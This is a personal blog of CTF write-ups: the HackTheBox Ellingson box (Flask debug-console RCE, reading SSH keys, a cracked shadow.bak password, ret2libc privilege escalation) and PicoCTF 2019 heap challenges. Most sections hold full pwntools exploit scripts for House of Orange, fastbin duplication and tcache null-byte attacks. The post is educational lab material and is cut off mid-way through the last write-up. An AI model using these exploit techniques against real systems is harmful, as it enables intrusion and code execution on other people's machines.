Search This Blog

Saturday, October 19, 2019

Ellingson HackTheBox Writeup

Ellingson was a fun but easy box from HackTheBox.  There was a really trivial python web exploit followed by a classic ret2libc attack.

In the initial nmap scan, only port 22 and port 80 show up.  From some basic enumeration, we can tell that the web page runs on Flask.  Let's try to break it!  After a few minutes, I find that navigating to http://ellingson.htb/articles/4 breaks the webpage and reveals a console.  Here was my interaction with the console to gain RCE.

import subprocess
subprocess.check_output(['ls', '-l']) runs ls -l for example
#whoami tells me that currently I am hal
subprocess.check_output(['ls', '/home']) #shows there are the following users: duke, hal, margo, theplague
subprocess.check_output(['ls', '-a', '/home/hal'])
b'.\n..\n.bash_logout\n.bashrc\n.cache\n.config\n.gnupg\n.local\n.profile\n.ssh\n.viminfo\n'
subprocess.check_output(['ls', '-a', '/home/hal/.ssh'])
b'.\n..\nauthorized_keys\nid_rsa\nid_rsa.pub\nknown_hosts\n
subprocess.check_output(['cat', '/home/hal/.ssh/id_rsa'])


But it turns out Hal's id_rsa did not work.  I decided to store my public key into a variable and write it to authorized_keys for Hal.  Once we get a shell via SSH, I navigated to /var/backups and found that I can access shadow.bak.  Running rockyou on it gets us the following credentials: margo:iamgod$08

Now, we will have gotten user.  Onto root!

I found a SUID binary called garbage almost immediately.  SCP the file out and do a classic ret2libc out; make sure to change our uid to 0 as well in the ROP chains.  The basic gist was to leak libc by calling puts on puts@GOT and redirecting execution back into main.  Then you call setuid(0) and redirect back to the vulnerable part of the program.  Lastly, I just had it call a libc magic one gadget to pop the final shell.  Here was my exploit (there was one small issue with outputs that I encountered initially so my way of reading the outputs was sort of weird and please note that I did this problem before the days when I discovered p64() and u64() and I also decided to experiment with the auto-ROP feature of pwntools):

import sys
import struct
from pwn import *

#context.log_level = 'debug'
remoteShell = ssh(host = 'ellingson.htb', user='margo', password='iamgod$08')
remoteShell.set_working_directory('/usr/bin')
elf = ELF('./garbage')
libc = ELF('./libc.so.6')
rop = ROP(elf)
context(arch='amd64')
rop.puts(elf.got['puts'])
rop.call(elf.symbols['main'])
print rop.dump()
leakPayload = 'A' * 0x88 + struct.pack('<Q', 0x40179b) + struct.pack('<Q', 0x404028) + struct.pack('<Q', 0x401050) + struct.pack('<Q', 0x401619)
#print leakPayload
#p = process('./garbage')
p = remoteShell.process('./garbage')
p.sendline(leakPayload)
temp = p.recvuntil('\x7f') #weird input output thing, but probably first byte is x7f
temp = temp.split('\n')[2]
leakedPuts = struct.unpack('Q', temp + '\x00\x00')[0]
libc.address = leakedPuts - libc.symbols['puts']
print 'LIBC_BASE: ' + hex(libc.address)
print 'SETTING UID to 0'
setuid = 'A' * 0x88 + struct.pack('<Q', libc.address + 0x2155f) + struct.pack('<Q', 0x0) + struct.pack('<Q', libc.address + 0xe5970) + struct.pack('<Q', 0x401513)#setuid 0 + go back to auth
p.sendline(setuid)
print 'OPENING A SHELL'
exploit = 'A' * 0x88 + struct.pack('<Q', libc.address + 0x4f322) #libc.so.6 one_gadget
p.sendline(exploit)
p.interactive()

And that's it for Ellingson!

Thursday, October 17, 2019

PicoCTF 2019 Sice Cream Writeup

Sice Cream was quite a difficult challenge from PicoCTF 2019.  Although most people did this by messing with the pointer to top chunk to return malloc hook, I performed a House of Orange attack (which only worked sometimes for some reason), as this is using libc 2.23.  Here is the reversed program (with my comments):


void alloc(void)
{
  int iVar1;
  ulong uVar2;
  void *pvVar3;
  long in_FS_OFFSET;
  char local_28 [24];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  iVar1 = FUN_004008a7();
  if (iVar1 < 0) { //no more than 0x13
    puts("Out of space!");
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  puts("How much sice cream do you want?");
  printf("> ");
  read(0,local_28,0x10);
  uVar2 = strtoul(local_28,(char **)0x0,10);
  if (0x58 < (uint)uVar2) { //can only allocate up to 0x60 real size chunks
    puts("That\'s too much sice cream!");
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  pvVar3 = malloc(uVar2 & 0xffffffff);
  *(void **)(&DAT_00602140 + (long)iVar1 * 8) = pvVar3;
  puts("What flavor?");
  printf("> ");
  read(0,*(void **)(&DAT_00602140 + (long)iVar1 * 8),uVar2 & 0xffffffff);
  puts("Here you go!");
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}



void rename(void)
{
  puts("What\'s your name again?");
  printf("> ");
  read(0,&DAT_00602040,0x100);
  printf("Ah, right! How could a forget a name like %s!\n",&DAT_00602040);
  return;
}

void delete(void)
{
  ulong uVar1;
  long in_FS_OFFSET;
  char local_28 [24];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts("Which sice cream do you want to eat?");
  printf("> ");
  read(0,local_28,0x10);
  uVar1 = strtoul(local_28,(char **)0x0,10);
  if (0x13 < (uint)uVar1) {
    puts("Invalid index!");
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  free(*(void **)(&DAT_00602140 + (uVar1 & 0xffffffff) * 8)); //potential for double free
  puts("Yum!");
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}


void menu(void)
{
  puts("1. Buy sice cream");
  puts("2. Eat sice cream");
  puts("3. Reintroduce yourself");
  puts("4. Exit");
  return;
}

void main(void)
{
  int iVar1;
  ulong uVar2;
  long in_FS_OFFSET;
  char local_28 [24];
  undefined8 local_10;

  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  puts("Welcome to the Sice Cream Store!");
  puts("We have the best sice cream in the world!");
  puts("Whats your name?");
  printf("> ");
  read(0,&DAT_00602040,0x100);
  while( true ) {
    while( true ) {
      while( true ) {
        menu();
        printf("> ");
        read(0,local_28,0x10);
        uVar2 = strtoul(local_28,(char **)0x0,10);
        iVar1 = (int)uVar2;
        if (iVar1 != 2) break;
        delete();
      }
      if (2 < iVar1) break;
      if (iVar1 != 1) goto LAB_00400cb5;
      alloc();
    }
    if (iVar1 != 3) break;
    rename();
  }
  if (iVar1 == 4) {
    puts("Too hard? ;)");
  }
LAB_00400cb5:
                    /* WARNING: Subroutine does not return */
  exit(0);
}


void somefunction(char *pcParm1)
{
  int iVar1;
  FILE *__fp;

  __fp = fopen(pcParm1,"r");
  if (__fp != (FILE *)0x0) {
    while( true ) {
      iVar1 = _IO_getc((_IO_FILE *)__fp);
      if ((char)iVar1 == -1) break;
      putchar((int)(char)iVar1);
    }
  }
  return;
}

As you can see, the main bug is the double free.  We can also utilize the rename function for leaks.  For heap leaks, we can simply fill it with (0xff) “A”s and then it would print all those As and the  pointer to your first chunk (which you should allocate first), thus giving us a heap leak; this only works due to the location of name in bss, which is at 0x602040, and the array of pointers at 0x602140, and the fact that rename reads in size 0x100.

As for the libc leak, we will need to create a double free (Ex. free(1), free(2), free(1)) and re-allocate chunks of the same size to overwrite the next pointer in the double freed chunk to point into the BSS part where your name is stored (you will need to setup the name section to bypass the fastbin size checks as well).  Then, you can rename yourself (once a chunk gets allocated there) so that the size falls into unsorted range and set the region of memory below to pass the other libc checks accordingly.  Freeing that, and then filling it up with enough "A"s to block out the nulls will allow us to get a main arena address, thereby providing us with a libc leak.

Now, we have all the leaks, but we still have a major issue: arbitrary write and code execution.  The size limitations make the classic fastbin attack impossible.  There aren't any other bytes I could misalign around hooks.  There also is Full RELRO.

However, the name buffer does have size 0x100, making me think of House of Orange.  I studied House of Orange for the first time with the help of this link and this link.  The basic idea involves an unsorted bin attack, a fake file structure, and purposely causing the program to call abort() with what we desire. 

When abort() is called, _IO_flush_all_lockp() is then called.  Eventually, it will go through _IO_list_all to call _IO_OVERFLOW(fp, EOF).  We need to overwrite _IO_list_all with a malicious pointer so that _IO_OVERLOW points to system (4th item in the malicious vtable) and the first 8 bytes are set to '/bin/sh'.   _IO_OVERFLOW(fp, EOF) translates to system('/bin/sh') now (thank you how2heap for explaining this to me).  The chain items in the fake structures will also have to be null to work in this House of Orange scenario.  However, to satisfy this constraint: fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base, you have to make sure to make _IO_write_ptr something like 3 and _IO_write_base something smaller like 2.

Since we don't have enough space to also fit in a vtable in the buffer for name, we can save a chunk in the fastbin to then reallocate and store the system addresses with the help of heap leak.  Last thing... what should we overwrite the size of the "unsorted" chunk with?  Well, according to how2heap and malloc.c, if we set the size to 0x61 and allocate a smaller chunk, malloc will place it into smallbin 4. With the unsorted bin attack to overwrite with the address, this location will represent the fake file pointer's fd-ptr.  Here's the final exploit:

from pwn import *

bin = ELF('./sice_cream')
libc = ELF('./libc.so.6')
#context.log_level = 'debug'
#https://amritabi0s.wordpress.com/2018/05/01/asis-ctf-quals-2018-fifty-dollors-write-up/
#p = process('./sice_cream')
#nc 2019shell1.picoctf.com 35993
p=remote('2019shell1.picoctf.com', 35993)

def wait():
    p.recvrepeat(0.5)

def alloc(size, data):
    wait()
    p.sendline(str(1))
    wait()
    p.sendline(str(size))
    wait()
    p.sendline(data)

def delete(index):
    wait()
    p.sendline(str(2))
    wait()
    p.sendline(str(index))

def rename(data):
    wait()
    p.sendline(str(3))
    wait()
    p.sendline(data)

wait()
p.sendline('test')
#plan, double frees originally to redirect fake chunk into BSS, rename to forge fake chunks and transfer ones to other bins
alloc(0x20, 'A' * 20) #0
alloc(0x20, 'B' * 20) #1
#grab a heap leak here
rename('A' * (0x100-1))
p.recvline()
temp = p.recvline().split('!')[0] #no null bytes, prints out first address in heap bss array
heapLeak = u64(temp.ljust(8, '\x00'))
log.info('Leaked Heap Address: ' + hex(heapLeak))
#p.interactive()
delete(0)
delete(1)
delete(0) #classic double free
alloc(0x20, p64(0x602040)) #change fd to redirect to name + 0x10, 2
#p.interactive()
alloc(0x20, '') #3
alloc(0x20, '') #4
rename(p64(0)+p64(0x31) + p64(0)*4 + p64(0x30) + p64(0x20)) #to beat fast bin size check
alloc(0x20, 'blah blah blah') #5... get fake chunk back into name bss
alloc(0x50, '') #6
delete(5)
rename(p64(0)+p64(0x91) + 'A' * 0x88 +p64(0x21) + p64(0)*3 + p64(0x21)) #5 overwrite it, fake it as unsorted, need to fake more to beat checks to prevent a corruption/double free issue
delete(5) #get it into unsorted
rename('A' * 15) #should leak
p.recvline()
temp = p.recvline().split('!')[0]
leak = u64(temp.ljust(8, '\x00'))
offset = 0x00007f6104a82b78-0x00007f61046be000 #pulled from gdb
libcBase = leak - offset
IO_list_all = libcBase + libc.symbols['_IO_list_all']
system = libcBase + libc.symbols['system']
log.info('Libc Base: ' + hex(libcBase))
log.info('Main Arena: ' + hex(leak-88))
log.info('_IO_list_all: ' + hex(IO_list_all))
log.info('System: ' + hex(system))
fakevtable = heapLeak + 0x60 #find offset by debugging
#rename can help us overwrite... perform House of Orange, satisfy write_base < write_ptr (2 and 3), add pointer to fake vtable, null out everything for it to work
payload = '/bin/sh\x00' +p64(0x61) + p64(leak) + p64(IO_list_all-0x10)+p64(2)+p64(3)+p64(0)*18+p64(0)+p64(0)+p64(0)+p64(fakevtable)
rename(payload)
delete(6) #free it
alloc(0x50, p64(system) * 7) #fake vtable
p.interactive() #ctrl +D to exit interactive mode
alloc(0x10, '') #pop shells
p.interactive()

However, there were some cool alternative methods as well, which I learned afterwards and would like to share. 

I heard about a cool way afterwards about overwriting into the main arena to manipulate where top chunk points to, which this post talks about.  This way, using the classic fastbin duplication (since we have already redirected a chunk into BSS and freed it, the main arena will have pointers to BSS in its fastbin array (with the 0x60 as the high bytes), and therefore we can fastbin duplicate into there with misalignment), we can get top chunk to be located near malloc hook for future allocations by overwriting the original top chunk pointer. 

Then, we can allocate and overwrite malloc hook.  We also do need to fix the unsorted bin size (I made it really small) so future allocations for fastbin size will not come from there.  However, none of the one gadget constraints were satisfied when we made the program call malloc.  NotDeGhost from redpwn and Faith mentioned the idea from this blog post, in which we purposely trigger a double free or corruption error by freeing two of the same chunks successively.  This way, free will eventually call malloc_printerr, which will eventually call strdup, which uses malloc() and thus calls our hook.  In this scenario, the constraints were satisfied and we popped a shell.

wait()
p.sendline('test')
#plan, double frees originally to redirect fake chunk into BSS, rename to forge fake chunks and transfer ones to other bins
alloc(0x20, 'A' * 20) #0
alloc(0x20, 'B' * 20) #1
#grab a heap leak here
rename('A' * (0x100-1))
p.recvline()
temp = p.recvline().split('!')[0] #so null bytes, prints out first address in heap bss array
heapLeak = u64(temp.ljust(8, '\x00'))
log.info('Leaked Heap Address: ' + hex(heapLeak))
#p.interactive()
delete(0)
delete(1)
delete(0)
alloc(0x20, p64(0x602040)) #change fd to redirect to name + 0x10, 2
#p.interactive()
alloc(0x20, '') #3
alloc(0x20, '') #4
rename(p64(0)+p64(0x31) + p64(0)*4 + p64(0x30) + p64(0x20)) #to beat fast bin size check
alloc(0x20, 'blah blah blah') #5... get fake chunk back into name bss
delete(5)
rename(p64(0)+p64(0x91) + 'A' * 0x88 +p64(0x21) + p64(0)*3 + p64(0x21)) #5 overwrite it, fake it as unsorted, need to fake more than just adjacent
delete(5) #get it into unsorted
rename('A' * 15) #should leak
p.recvline()
temp = p.recvline().split('!')[0]
leak = u64(temp.ljust(8, '\x00'))
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
offset = 0x00007f6104a82b78-0x00007f61046be000 #pulled from gdb
libcBase = leak - offset
mallocHook = 0x00000000003c4b10 + libcBase
onegadget = libcBase + 0xf02a4 #test and pray one works
log.info('Libc Base: ' + hex(libcBase))
log.info('Main Arena: ' + hex(leak-88))
log.info('Malloc hook: ' + hex(mallocHook))
log.info('One Gadget: ' + hex(onegadget))
#rename again to get rid of the unsorted stuff, it will be ignored in subsequent allocations as long as we allocated above that size
rename(p64(0)+p64(0x21) + p64(leak)*2 + p64(0x21) * 8) #fill it up, doesn't matter, beats check, also in unsorted, so be careful with the libc addresses used so you don't cause an unwanted unsorted bin attack
#overwrite top chunk to start allocating next chunks near malloc hook
#https://amritabi0s.wordpress.com/2018/04/02/0ctf-quals-babyheap-writeup/
'''
0x7f1e26c26b20: 0x0000000000000000 0x0000000000000000
0x7f1e26c26b30: 0x0000000000602040 0x0000000000000000
0x7f1e26c26b40: 0x0000000000000000 0x0000000000000000
0x7f1e26c26b50: 0x0000000000000000 0x0000000000000000
0x7f1e26c26b60: 0x0000000000000000 0x0000000000000000
0x7f1e26c26b70: 0x0000000000000000 0x0000000001fe2060
'''
#malloc state has fastbin array before... we only used it for 0x30 real size fastbins, so we can overwrite where top chunk points to, thanks to 0x60 in bss we created originally
#create a double free in 0x50 fastbin
alloc(0x50, '') #6
alloc(0x50, '') #7
delete(6)
delete(7)
delete(6)
alloc(0x50, p64(leak-88+0xa)) #to misalign to get 0x60 byte first #8
alloc(0x50, '') #9
alloc(0x50, '') #10
alloc(0x50, '\x00' * (0x10 - 0xa)+'\x00' * 0x38 + p64(mallocHook-0x10)) #get a chunk back into fastbin array, null out all before top chunk, then point it to before malloc hook, also can "sort of" look like top chunk
alloc(0x40, p64(onegadget)) #11, unused size before, will allocate from "top" and end up over mallocHook, overwrite with malloc hook
#then https://blog.osiris.cyber.nyu.edu/2017/09/30/csaw-ctf-2017-auir/ -> free actually when double free errors calls malloc_printerr which in turn calls strdup, which uses malloc, which in turn will help us call our hook
#now purposely trigger double free
delete(6)
delete(6)
p.interactive()

Using the same top chunk/fastbin attack method, there is another way to satisfy the constraints.  nek0nyaa mentioned this "two gadget" technique, in which I overwrite realloc hook with a magic one gadget and redirect malloc hook to call realloc.  In this case, I pointed malloc hook to point to __libc_realloc + a certain offset; if you skip certain instructions, especially for the beginning push instructions, you will change the way in which the stack is created and might actually satisfy the constraints.  In this case, one of the one gadgets worked when malloc hook was pointed to __libc_realloc + 16.

wait()
p.sendline('test')
#plan, double frees originally to redirect fake chunk into BSS, rename to forge fake chunks and transfer ones to other bins
alloc(0x20, 'A' * 20) #0
alloc(0x20, 'B' * 20) #1
#grab a heap leak here
rename('A' * (0x100-1))
p.recvline()
temp = p.recvline().split('!')[0] #so null bytes, prints out first address in heap bss array
heapLeak = u64(temp.ljust(8, '\x00'))
log.info('Leaked Heap Address: ' + hex(heapLeak))
#p.interactive()
delete(0)
delete(1)
delete(0)
alloc(0x20, p64(0x602040)) #change fd to redirect to name + 0x10, 2
#p.interactive()
alloc(0x20, '') #3
alloc(0x20, '') #4
rename(p64(0)+p64(0x31) + p64(0)*4 + p64(0x30) + p64(0x20)) #to beat fast bin size check
alloc(0x20, 'blah blah blah') #5... get fake chunk back into name bss
delete(5)
rename(p64(0)+p64(0x91) + 'A' * 0x88 +p64(0x21) + p64(0)*3 + p64(0x21)) #5 overwrite it, fake it as unsorted, need to fake more than just adjacent
delete(5) #get it into unsorted
rename('A' * 15) #should leak
p.recvline()
temp = p.recvline().split('!')[0]
leak = u64(temp.ljust(8, '\x00'))
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
offset = 0x00007f6104a82b78-0x00007f61046be000 #pulled from gdb
libcBase = leak - offset
mallocHook = 0x00000000003c4b10 + libcBase
reallocHook = 0x00000000003c4b08 + libcBase
#onegadget = libcBase + 0xf02a4 #test and pray one works
onegadget = libcBase + 0x4526a #test and pray one works
libcrealloc = libcBase + 0x00000000000846c0
log.info('Libc Base: ' + hex(libcBase))
log.info('Main Arena: ' + hex(leak-88))
log.info('Malloc hook: ' + hex(mallocHook))
log.info('Realloc hook: ' + hex(reallocHook))
log.info('__libc_realloc: ' + hex(libcrealloc))
log.info('One Gadget: ' + hex(onegadget))
#rename again to get rid of the unsorted stuff, it will be ignored in subsequent allocations as long as we allocated above that size
rename(p64(0)+p64(0x21) + p64(leak)*2 + p64(0x21) * 8) #fill it up, doesn't matter, beats check, also in unsorted, so be careful with the libc addresses used
#overwrite top chunk to start allocating next chunks near malloc hook
#https://amritabi0s.wordpress.com/2018/04/02/0ctf-quals-babyheap-writeup/
'''
0x7f1e26c26b20: 0x0000000000000000 0x0000000000000000
0x7f1e26c26b30: 0x0000000000602040 0x0000000000000000
0x7f1e26c26b40: 0x0000000000000000 0x0000000000000000
0x7f1e26c26b50: 0x0000000000000000 0x0000000000000000
0x7f1e26c26b60: 0x0000000000000000 0x0000000000000000
0x7f1e26c26b70: 0x0000000000000000 0x0000000001fe2060
'''
#malloc state has fastbin array before... we only used it for 0x30 real size fastbins, so we can overwrite where top chunk points to, thanks to 0x60 in bss we created originally
#create a double free in 0x50 fastbin
alloc(0x50, '') #6
alloc(0x50, '') #7
delete(6)
delete(7)
delete(6)
alloc(0x50, p64(leak-88+0xa)) #to misalign to get 0x60 byte first #8
alloc(0x50, '') #9
alloc(0x50, '') #10
alloc(0x50, '\x00' * (0x10 - 0xa)+'\x00' * 0x38 + p64(reallocHook-0x10)) #fake chunk to realloc hook
#another method if none of one gadgets work... two gadget method... make realloc  hook point to one gadget and malloc hook point to __libc_realloc +n so it hopefully satisfies constraints, thank you to nek0nyaa for sharing this
'''
Dump of assembler code for function realloc:
   0x00000000000846c0 <+0>: push   r15
   0x00000000000846c2 <+2>: push   r14
   0x00000000000846c4 <+4>: push   r13
   0x00000000000846c6 <+6>: push   r12
   0x00000000000846c8 <+8>: mov    r13,rsi
   0x00000000000846cb <+11>: push   rbp
   0x00000000000846cc <+12>: push   rbx
   0x00000000000846cd <+13>: mov    rbx,rdi
   0x00000000000846d0 <+16>: sub    rsp,0x38
'''
alloc(0x40, p64(onegadget)+p64(libcrealloc+16))#overwrite realloc hook, then overwrite malloc hook, test random offsets with some educated guessing, skip over some of the pushes to set up stack differently
alloc(0x30, '') #trigger it hopefully
p.interactive()


And that's it for sice cream!

PicoCTF 2019 Zero to Hero Writeup

Zero to Hero was the final pwn of PicoCTF 2019.  It is using libc 2.29 so it has the whole key mechanism to protect against double frees.  However, the program allows you to overwrite by one null byte; this byte once again allows us to pop a shell; many of the competitors said that this technique should be called the House of Poortho.  It's also a slightly more difficult version but in some ways quite similar to this heap challenge.  Before I continue, here is the program reversed:

//libc 2.29, so tcache protection with keys

void add(void)
{
  long lVar1;
  void *pvVar2;
  ssize_t sVar3;
  long in_FS_OFFSET;
  uint local_28;
  int local_24;
  long local_20;

  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  local_28 = 0;
  local_24 = FUN_004009c2(); //7 chunks only, doesn't reduce number
  if (local_24 < 0) {
    puts("You have too many powers!");
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  puts("Describe your new power.");
  puts("What is the length of your description?");
  printf("> ");
  __isoc99_scanf(&DAT_00400f0b,&local_28);
  getchar();
  if (0x408 < local_28) { //can't go over 0x408
    puts("Power too strong!");
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  pvVar2 = malloc((ulong)local_28);
  *(void **)(&DAT_00602060 + (long)local_24 * 8) = pvVar2;  //stored at array at 00602060
  puts("Enter your description: ");
  printf("> ");
  lVar1 = *(long *)(&DAT_00602060 + (long)local_24 * 8);
  sVar3 = read(0,*(void **)(&DAT_00602060 + (long)local_24 * 8),(ulong)local_28);
  *(undefined *)(sVar3 + lVar1) = 0; //null byte overflow
  puts("Done!");
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}



void delete(void)
{
  long in_FS_OFFSET;
  uint local_14;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_14 = 0;
  puts("Which power would you like to remove?");
  printf("> ");
  __isoc99_scanf(&DAT_00400f0b,&local_14);
  getchar();
  if (6 < local_14) {
    puts("Invalid index!");
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  free(*(void **)(&DAT_00602060 + (ulong)local_14 * 8)); //use after free, not setting to 0
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

void menu(void)
{
  puts("1. Get a superpower");
  puts("2. Remove a superpower");
  puts("3. Exit");
  return;
}

void main(void)
{
  ssize_t sVar1;
  long in_FS_OFFSET;
  int local_2c;
  char local_28 [24];
  undefined8 local_10;

  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  puts("From Zero to Hero");
  puts("So, you want to be a hero?");
  sVar1 = read(0,local_28,0x14);
  local_28[sVar1] = 0;
  if (local_28[0] != 'y') {
    puts("No? Then why are you even here?");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  puts("Really? Being a hero is hard.");
  puts("Fine. I see I can\'t convince you otherwise.");
  printf("It\'s dangerous to go alone. Take this: %p\n",system);
  while( true ) {
    while( true ) {
      menu();
      printf("> ");
      local_2c = 0;
      __isoc99_scanf(&DAT_00401040,&local_2c);
      getchar();
      if (local_2c != 2) break;
      delete();
    }
    if (local_2c == 3) break;
    if (local_2c != 1) goto LAB_00400dce;
    add();
  }
  puts("Giving up?");
LAB_00400dce:
                    /* WARNING: Subroutine does not return */
  exit(0);
}


void printflag(void)
{
  int iVar1;
  FILE *__fp;

  __fp = fopen("flag.txt","r");
  if (__fp != (FILE *)0x0) {
    while( true ) {
      iVar1 = _IO_getc((_IO_FILE *)__fp);
      if ((char)iVar1 == -1) break;
      putchar((int)(char)iVar1);
    }
  }
  return;
}

Now, there is a UAF (which will allow for double frees later) and a null byte overflow during allocation.  How do we beat the libc 2.29 check in this scenario?

First, we allocate something, then allocate another chunk (let's say size 0x150).  We free both the chunk above and this 0x150 chunk (real size 0x160 because metadata).  Then we re-allocate something of the first size to get that chunk back and this time, null byte overflow the size field below.  We can re-free the overflown chunk and now it goes into a different bin (specifically the 0x100 tcache bin because of the single null byte overflow).

We can then re-allocate size 0x150 to get this very same chunk back from its tcachebin, and then free it back into 0x100 as the null byte is still in effect, thereby creating a double free by which we can overwrite next pointers for the 0x100 tcachebin.

Then, we can manipulate free hook to pop a shell by calling “free” (now overwritten with system) on a chunk with “/bin/sh."  Also, the leak is already given to use in the beginning in the form of system().  Here is my final exploit:

from pwn import *

elf = ELF('./zero_to_hero')
libc = ELF('./libc.so.6') #2.29 with key mechanism

#context.log_level = 'debug'
#p=process('./zero_to_hero')
p = remote('2019shell1.picoctf.com', 49928)

def wait():
    p.recvrepeat(0.5)

def initiate(): #get libc leak too
    wait()
    p.sendline('y')
    p.recvline()
    p.recvline()
    leak = p.recvline().split('this: ')[1][2:]
    leak = int(leak, 16)
    return leak

def alloc(size, data):
    wait()
    p.sendline('1')
    wait()
    p.sendline(str(size))
    wait()
    p.sendline(data)

def delete(index):
    wait()
    p.sendline('2')
    wait()
    p.sendline(str(index))

system = initiate()
libcBase = system - libc.symbols['system']
freehook = libcBase + 0x1e75a8
log.info("System: " + hex(system))
log.info("Libc Base: " + hex(libcBase))
log.info("Free hook: " + hex(freehook))
#use the null byte to our advantage
#allocate something
#allocate 0x150 (0x160)size (2), free it, null byte overflow it (3) by reallocating first chunk, free it so it goes to 0x100
#then allocate another 0x150 (0x160) (4) to get that chunk back, free it again so it goes back to 0x100 bc null byte already overflowed... double free
#then allocate chunk 5 (0x90 to get 0x100), while overwriting fd to free hook, allocate chunk 6, allocate chunk 7 to get back free hook, can overwrite
#00000000001e75a8 <__free_hook@@GLIBC_2.2.5>:
payload1 = '/bin/sh\x00'
payload1 += 'A' * (0x58 - len(payload1))
alloc(0x50, '') #0
delete(0)
alloc(0x150, 'B'*30) #1
delete(1)
#p.interactive()
alloc(0x58, payload1) #2
#p.interactive()
'''
0xde2250:    0x0000000000000000    0x0000000000000061
0xde2260:    0x0068732f6e69622f    0x4141414141414141
0xde2270:    0x4141414141414141    0x4141414141414141
0xde2280:    0x4141414141414141    0x4141414141414141
0xde2290:    0x4141414141414141    0x4141414141414141
0xde22a0:    0x4141414141414141    0x4141414141414141
0xde22b0:    0x4141414141414141    0x0000000000000100
0xde22c0:    0x0000000000000000    0x0000000000de2010
0xde22d0:    0x4242424242424242    0x000a424242424242
'''
delete(1)
alloc(0x150, 'B' * 30) #3
delete(3)
alloc(0xf0, p64(freehook) + 'C' * 30) #4
alloc(0xf0, 'D' * 40) #5
#p.interactive()
alloc(0xf0, p64(system))
delete(0)
p.interactive()

Zero to hero is finished!

PicoCTF 2019 Ghost Diary Writeup

This was a difficult heap challenge from PicoCTF 2019.  Basically, it revolves around a classic null byte poisoning, but with a tcache twist.  You had to ensure that the tcache was either full (with 7 chunks) or have empty space for this attack to work correctly.  Anyways, let's begin!  Here's the reversed program:
//array at 202060 offset from pie, ghidra shifts everything up for some reason if PIE binary
void alloc(void)
{
  void *pvVar1;
  long in_FS_OFFSET;
  uint local_1c;
  int local_18;
  uint local_14;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_14 = 0;
  while ((local_14 < 0x14 && (*(long *)(&DAT_00302060 + (ulong)local_14 * 0x10) != 0))) {
    local_14 = local_14 + 1;
  }
  if (local_14 == 0x14) {
    puts("Buy new book");
  }
  else {
    puts("1. Write on one side?");
    puts("2. Write on both sides?");
    while( true ) {
      while( true ) {
        while( true ) {
          printf("> ");
          __isoc99_scanf(&DAT_0010119d,&local_18);
          if (local_18 != 1) break;
          printf("size: ");
          __isoc99_scanf(&DAT_0010119d,&local_1c);
          if (local_1c < 0xf1) goto LAB_00100c64;
          puts("too big to fit in a page");
        }
        if (local_18 != 2) goto LAB_00100ce5;
        printf("size: ");
        __isoc99_scanf(&DAT_0010119d,&local_1c);
        if (0x10f < local_1c) break;
        puts("don\'t waste pages -_-");
      }
      if (local_1c < 0x1e1) break;
      puts("can you not write that much?");
    }
LAB_00100c64:
    pvVar1 = malloc((ulong)local_1c);
    *(void **)(&DAT_00302060 + (ulong)local_14 * 0x10) = pvVar1;
    if (*(long *)(&DAT_00302060 + (ulong)local_14 * 0x10) == 0) {
      puts("oh noooooooo!! :(");
    }
    else {
      *(uint *)(&DAT_00302068 + (ulong)local_14 * 0x10) = local_1c;
      printf("page #%d\n",(ulong)local_14);
    }
  }
LAB_00100ce5:
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}


void print(void) //for leak probably
{
  long in_FS_OFFSET;
  uint local_14;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Page: ");
  __isoc99_scanf(&DAT_0010119d,&local_14);
  printf("Content: ");
  if ((local_14 < 0x14) && (*(long *)(&DAT_00302060 + (ulong)local_14 * 0x10) != 0)) {
    puts(*(char **)(&DAT_00302060 + (ulong)local_14 * 0x10));
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}


void delete(void)

{
  long in_FS_OFFSET;
  uint local_14;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Page: ");
  __isoc99_scanf(&DAT_0010119d,&local_14);
